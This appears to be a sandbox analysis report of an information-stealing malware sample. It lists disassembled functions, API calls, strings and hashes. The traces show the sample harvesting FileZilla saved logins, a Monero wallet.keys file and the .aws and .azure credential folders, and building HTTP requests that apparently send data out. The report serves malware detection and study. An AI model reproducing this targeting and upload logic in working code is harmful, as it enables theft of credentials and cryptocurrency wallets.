Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1714337528.000000000120E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1714174137.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001398000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000146E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001499000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714621077.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714730643.0000000001643000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714747116.0000000001644000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 287d6bc8398d43f98f96cbc0459faeefbb6ab4bc05403d898e3fe38b6ea16759
Instruction ID: e76c467c11f30f410bd408785b5cec322c5d32475db3104f316acb918aa5188e
Opcode Fuzzy Hash: 287d6bc8398d43f98f96cbc0459faeefbb6ab4bc05403d898e3fe38b6ea16759
Instruction Fuzzy Hash: 8F41CFF39086008FF3546E29DC8577ABBE6EB94320F164A3CDFC5937C4DA3918468646

Function 00FC9750 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1714191818.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1714174137.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001398000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000146E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001499000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714621077.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714730643.0000000001643000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714747116.0000000001644000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Function 00FC0250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366stringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00FCA740: lstrcpy.KERNEL32(00FD0E17,00000000), ref: 00FCA788

Part of subcall function 00FC8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00FC8E0B

Part of subcall function 00FCA920: lstrcpy.KERNEL32(00000000,?), ref: 00FCA972
Part of subcall function 00FCA920: lstrcat.KERNEL32(00000000), ref: 00FCA982

Part of subcall function 00FCA8A0: lstrcpy.KERNEL32(?,00FD0E17), ref: 00FCA905

Part of subcall function 00FCA9B0: lstrlen.KERNEL32(?,00C89158,?,\Monero\wallet.keys,00FD0E17), ref: 00FCA9C5
Part of subcall function 00FCA9B0: lstrcpy.KERNEL32(00000000), ref: 00FCAA04
Part of subcall function 00FCA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00FCAA12

Part of subcall function 00FCA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00FCA7E6

Part of subcall function 00FB99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00FB99EC
Part of subcall function 00FB99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00FB9A11
Part of subcall function 00FB99C0: LocalAlloc.KERNEL32(00000040,?), ref: 00FB9A31
Part of subcall function 00FB99C0: ReadFile.KERNEL32(000000FF,?,00000000,00FB148F,00000000), ref: 00FB9A5A
Part of subcall function 00FB99C0: LocalFree.KERNEL32(00FB148F), ref: 00FB9A90
Part of subcall function 00FB99C0: CloseHandle.KERNEL32(000000FF), ref: 00FB9A9A

Part of subcall function 00FC8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00FC8E52

GetProcessHeap.KERNEL32(00000000,000F423F,00FD0DBA,00FD0DB7,00FD0DB6,00FD0DB3), ref: 00FC0362
RtlAllocateHeap.NTDLL(00000000), ref: 00FC0369
StrStrA.SHLWAPI(00000000,<Host>), ref: 00FC0385
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00FD0DB2), ref: 00FC0393
StrStrA.SHLWAPI(00000000,<Port>), ref: 00FC03CF
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00FD0DB2), ref: 00FC03DD
StrStrA.SHLWAPI(00000000,<User>), ref: 00FC0419
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00FD0DB2), ref: 00FC0427
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 00FC0463
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00FD0DB2), ref: 00FC0475
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00FD0DB2), ref: 00FC0502
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00FD0DB2), ref: 00FC051A
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00FD0DB2), ref: 00FC0532
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00FD0DB2), ref: 00FC054A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 00FC0562
lstrcat.KERNEL32(?,profile: null), ref: 00FC0571
lstrcat.KERNEL32(?,url: ), ref: 00FC0580
lstrcat.KERNEL32(?,00000000), ref: 00FC0593
lstrcat.KERNEL32(?,00FD1678), ref: 00FC05A2
lstrcat.KERNEL32(?,00000000), ref: 00FC05B5
lstrcat.KERNEL32(?,00FD167C), ref: 00FC05C4
lstrcat.KERNEL32(?,login: ), ref: 00FC05D3
lstrcat.KERNEL32(?,00000000), ref: 00FC05E6
lstrcat.KERNEL32(?,00FD1688), ref: 00FC05F5
lstrcat.KERNEL32(?,password: ), ref: 00FC0604
lstrcat.KERNEL32(?,00000000), ref: 00FC0617
lstrcat.KERNEL32(?,00FD1698), ref: 00FC0626
lstrcat.KERNEL32(?,00FD169C), ref: 00FC0635
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00FD0DB2), ref: 00FC068E

Strings

login: , xrefs: 00FC05CA
<Host>, xrefs: 00FC037C
profile: null, xrefs: 00FC0568
url: , xrefs: 00FC0577
<Pass encoding="base64">, xrefs: 00FC045A
<Port>, xrefs: 00FC03C6
browser: FileZilla, xrefs: 00FC0559
<User>, xrefs: 00FC0410
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 00FC02A4
password: , xrefs: 00FC05FB

Memory Dump Source

Source File: 00000000.00000002.1714191818.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1714174137.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001398000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000146E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001499000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714621077.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714730643.0000000001643000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714747116.0000000001644000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$FileLocal$AllocHeap$AllocateCloseCreateFolderFreeHandlePathProcessReadSize
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 1942843190-555421843
Opcode ID: 52121a7dbcd430f6f27f89a30b2897f639e8971a99a3bd36e3bef2b0a1ccd494
Instruction ID: fc20df5b47852734d2ee4a7f0845cab82e54fd7092368ee667e99027a09c1c79
Opcode Fuzzy Hash: 52121a7dbcd430f6f27f89a30b2897f639e8971a99a3bd36e3bef2b0a1ccd494
Instruction Fuzzy Hash: F6D15A71900109ABCB08EBE0DE96FEE7739BF14304F44452DF116A7185EE78BA46EB61

Function 00FB5960 Relevance: 39.0, APIs: 17, Strings: 5, Instructions: 495networkstringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00FCA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00FCA7E6

Part of subcall function 00FB47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00FB4839
Part of subcall function 00FB47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00FB4849

Part of subcall function 00FCA740: lstrcpy.KERNEL32(00FD0E17,00000000), ref: 00FCA788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00FB59F8
StrCmpCA.SHLWAPI(?,00C8EAA8), ref: 00FB5A13
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00FB5B93
lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,00C8EAE8,00000000,?,00C8A480,00000000,?,00FD1A1C), ref: 00FB5E71
lstrlen.KERNEL32(00000000), ref: 00FB5E82
GetProcessHeap.KERNEL32(00000000,?), ref: 00FB5E93
RtlAllocateHeap.NTDLL(00000000), ref: 00FB5E9A
lstrlen.KERNEL32(00000000), ref: 00FB5EAF
lstrlen.KERNEL32(00000000), ref: 00FB5ED8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00FB5EF1
lstrlen.KERNEL32(00000000,?,?), ref: 00FB5F1B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00FB5F2F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00FB5F4C
InternetCloseHandle.WININET(00000000), ref: 00FB5FB0
InternetCloseHandle.WININET(00000000), ref: 00FB5FBD
HttpOpenRequestA.WININET(00000000,00C8E988,?,00C8E368,00000000,00000000,00400100,00000000), ref: 00FB5BF8

Part of subcall function 00FCA9B0: lstrlen.KERNEL32(?,00C89158,?,\Monero\wallet.keys,00FD0E17), ref: 00FCA9C5
Part of subcall function 00FCA9B0: lstrcpy.KERNEL32(00000000), ref: 00FCAA04
Part of subcall function 00FCA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00FCAA12

Part of subcall function 00FCA8A0: lstrcpy.KERNEL32(?,00FD0E17), ref: 00FCA905

Part of subcall function 00FCA920: lstrcpy.KERNEL32(00000000,?), ref: 00FCA972
Part of subcall function 00FCA920: lstrcat.KERNEL32(00000000), ref: 00FCA982

InternetCloseHandle.WININET(00000000), ref: 00FB5FC7

Strings

------, xrefs: 00FB5C0B
", xrefs: 00FB5E16
", xrefs: 00FB5CD5
------, xrefs: 00FB5A96
------, xrefs: 00FB5D4C

Memory Dump Source

Source File: 00000000.00000002.1714191818.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1714174137.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001398000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000146E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001499000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714621077.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714730643.0000000001643000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714747116.0000000001644000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateConnectCrackFileProcessReadSend
String ID: "$"$------$------$------
API String ID: 874700897-2180234286
Opcode ID: f42541e54188bdba1cedaa1cc486f19ce33c07e631009e0d3e24c4bebf7be1a1
Instruction ID: 7b2dc6169614baa75a70efeee9b0d5bfaa9a276a9c7836ec8ea66625563c842e
Opcode Fuzzy Hash: f42541e54188bdba1cedaa1cc486f19ce33c07e631009e0d3e24c4bebf7be1a1
Instruction Fuzzy Hash: 62121C7182011DABDB18EBA0DD96FEEB338BF14704F5041ADB10A62091EF787A49DF65

Function 00FBCEF0 Relevance: 30.4, APIs: 20, Instructions: 375stringmemoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00FCA740: lstrcpy.KERNEL32(00FD0E17,00000000), ref: 00FCA788

Part of subcall function 00FCA9B0: lstrlen.KERNEL32(?,00C89158,?,\Monero\wallet.keys,00FD0E17), ref: 00FCA9C5
Part of subcall function 00FCA9B0: lstrcpy.KERNEL32(00000000), ref: 00FCAA04
Part of subcall function 00FCA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00FCAA12

Part of subcall function 00FCA8A0: lstrcpy.KERNEL32(?,00FD0E17), ref: 00FCA905

Part of subcall function 00FC8B60: GetSystemTime.KERNEL32(00FD0E1A,00C8A450,00FD05AE,?,?,00FB13F9,?,0000001A,00FD0E1A,00000000,?,00C89158,?,\Monero\wallet.keys,00FD0E17), ref: 00FC8B86

Part of subcall function 00FCA920: lstrcpy.KERNEL32(00000000,?), ref: 00FCA972
Part of subcall function 00FCA920: lstrcat.KERNEL32(00000000), ref: 00FCA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00FBCF83
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00FBD0C7
RtlAllocateHeap.NTDLL(00000000), ref: 00FBD0CE
lstrcat.KERNEL32(?,00000000), ref: 00FBD208
lstrcat.KERNEL32(?,00FD1478), ref: 00FBD217
lstrcat.KERNEL32(?,00000000), ref: 00FBD22A
lstrcat.KERNEL32(?,00FD147C), ref: 00FBD239
lstrcat.KERNEL32(?,00000000), ref: 00FBD24C
lstrcat.KERNEL32(?,00FD1480), ref: 00FBD25B
lstrcat.KERNEL32(?,00000000), ref: 00FBD26E
lstrcat.KERNEL32(?,00FD1484), ref: 00FBD27D
lstrcat.KERNEL32(?,00000000), ref: 00FBD290
lstrcat.KERNEL32(?,00FD1488), ref: 00FBD29F
lstrcat.KERNEL32(?,00000000), ref: 00FBD2B2
lstrcat.KERNEL32(?,00FD148C), ref: 00FBD2C1
lstrcat.KERNEL32(?,00000000), ref: 00FBD2D4
lstrcat.KERNEL32(?,00FD1490), ref: 00FBD2E3

Part of subcall function 00FCA820: lstrlen.KERNEL32(00FB4F05,?,?,00FB4F05,00FD0DDE), ref: 00FCA82B
Part of subcall function 00FCA820: lstrcpy.KERNEL32(00FD0DDE,00000000), ref: 00FCA885

lstrlen.KERNEL32(?), ref: 00FBD32A
lstrlen.KERNEL32(?), ref: 00FBD339

Part of subcall function 00FCAA70: StrCmpCA.SHLWAPI(00C890C8,00FBA7A7,?,00FBA7A7,00C890C8), ref: 00FCAA8F

DeleteFileA.KERNEL32(00000000), ref: 00FBD3B4

Memory Dump Source

Source File: 00000000.00000002.1714191818.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1714174137.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001398000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000146E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001499000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714621077.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714730643.0000000001643000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714747116.0000000001644000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID:
API String ID: 1956182324-0
Opcode ID: 36f6d01f923ad77e1f2dae5d29fb19060655bf66d27383f7f3054c31393c8e62
Instruction ID: e5d37f05e7247a4c617becaff2a770bb74c5affb23580c12880925f171f5c9e2
Opcode Fuzzy Hash: 36f6d01f923ad77e1f2dae5d29fb19060655bf66d27383f7f3054c31393c8e62
Instruction Fuzzy Hash: 68E13D71910109ABCB18EBA0EE96FEE7378BF54305F10416CF116A7091DE39BE45EB62

Function 00FBC990 Relevance: 24.9, APIs: 13, Strings: 1, Instructions: 384filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00FCA740: lstrcpy.KERNEL32(00FD0E17,00000000), ref: 00FCA788

Part of subcall function 00FCA920: lstrcpy.KERNEL32(00000000,?), ref: 00FCA972
Part of subcall function 00FCA920: lstrcat.KERNEL32(00000000), ref: 00FCA982

Part of subcall function 00FCA8A0: lstrcpy.KERNEL32(?,00FD0E17), ref: 00FCA905

Part of subcall function 00FCA9B0: lstrlen.KERNEL32(?,00C89158,?,\Monero\wallet.keys,00FD0E17), ref: 00FCA9C5
Part of subcall function 00FCA9B0: lstrcpy.KERNEL32(00000000), ref: 00FCAA04
Part of subcall function 00FCA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00FCAA12

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,00C8D110,00000000,?,00FD144C,00000000,?,?), ref: 00FBCA6C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 00FBCA89
GetFileSize.KERNEL32(00000000,00000000), ref: 00FBCA95
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 00FBCAA8
ReadFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 00FBCAD9
StrStrA.SHLWAPI(?,00C8D380,00FD0B52), ref: 00FBCAF7
StrStrA.SHLWAPI(00000000,00C8D158), ref: 00FBCB1E
StrStrA.SHLWAPI(?,00C8DC80,00000000,?,00FD1458,00000000,?,00000000,00000000,?,00C890F8,00000000,?,00FD1454,00000000,?), ref: 00FBCCA2
StrStrA.SHLWAPI(00000000,00C8DC20), ref: 00FBCCB9

Part of subcall function 00FBC820: lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 00FBC871
Part of subcall function 00FBC820: CryptStringToBinaryA.CRYPT32(?,00000000), ref: 00FBC87C

StrStrA.SHLWAPI(?,00C8DC20,00000000,?,00FD145C,00000000,?,00000000,00C890B8), ref: 00FBCD5A
StrStrA.SHLWAPI(00000000,00C891D8), ref: 00FBCD71

Part of subcall function 00FBC820: lstrcat.KERNEL32(?,00FD0B46), ref: 00FBC943
Part of subcall function 00FBC820: lstrcat.KERNEL32(?,00FD0B47), ref: 00FBC957
Part of subcall function 00FBC820: lstrcat.KERNEL32(?,00FD0B4E), ref: 00FBC978

lstrlen.KERNEL32(00000000), ref: 00FBCE44
CloseHandle.KERNEL32(00000000), ref: 00FBCE9C

Strings

, xrefs: 00FBC9C6

Memory Dump Source

Source File: 00000000.00000002.1714191818.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1714174137.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001398000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000146E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001499000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714621077.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714730643.0000000001643000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714747116.0000000001644000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcat$lstrcpy$lstrlen$Pointer$BinaryCloseCreateCryptHandleReadSizeString
String ID:
API String ID: 3744635739-3916222277
Opcode ID: 4a426e9d8f9480b05e38e1c6c3f654b81e306a547a54e68a7b8f12d51543d395
Instruction ID: a92b4db2048705f4be2293c1e12a687ed5d9295ce8b002cad8923ad5d5372d0b
Opcode Fuzzy Hash: 4a426e9d8f9480b05e38e1c6c3f654b81e306a547a54e68a7b8f12d51543d395
Instruction Fuzzy Hash: 34E1FB7190010DABDB18EBA0ED96FEEB778AF14304F40416DF10667191EF387A8ADB65

Function 00FC8320 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00FCA740: lstrcpy.KERNEL32(00FD0E17,00000000), ref: 00FCA788

RegOpenKeyExA.ADVAPI32(00000000,00C8B048,00000000,00020019,00000000,00FD05B6), ref: 00FC83A4
RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00FC8426
wsprintfA.USER32 ref: 00FC8459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 00FC847B
RegCloseKey.ADVAPI32(00000000), ref: 00FC848C
RegCloseKey.ADVAPI32(00000000), ref: 00FC8499

Part of subcall function 00FCA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00FCA7E6

Strings

?, xrefs: 00FC837A
- , xrefs: 00FC85A3
%s\%s, xrefs: 00FC844D

Memory Dump Source

Source File: 00000000.00000002.1714191818.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1714174137.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001398000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000146E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001499000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714621077.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714730643.0000000001643000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714747116.0000000001644000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: 0ff311b843c2e9362e18405ba22cb39c948d7cec5a6574c88e31aad67374d1f3
Instruction ID: 2d0839f1ac47048e90e41959b299d8701b6f9a1f6ef9b0de5b88adbc9148c2cd
Opcode Fuzzy Hash: 0ff311b843c2e9362e18405ba22cb39c948d7cec5a6574c88e31aad67374d1f3
Instruction Fuzzy Hash: 4981297191011DABDB28DB50DD96FEAB7B8BF08704F00829DE10AA7180DF756E86DF90

Function 00FC4D70 Relevance: 22.6, APIs: 6, Strings: 9, Instructions: 123stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00FC8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00FC8E0B

lstrcat.KERNEL32(?,00000000), ref: 00FC4DB0
lstrcat.KERNEL32(?,\.azure\), ref: 00FC4DCD

Part of subcall function 00FC4910: wsprintfA.USER32 ref: 00FC492C
Part of subcall function 00FC4910: FindFirstFileA.KERNEL32(?,?), ref: 00FC4943

lstrcat.KERNEL32(?,00000000), ref: 00FC4E3C
lstrcat.KERNEL32(?,\.aws\), ref: 00FC4E59

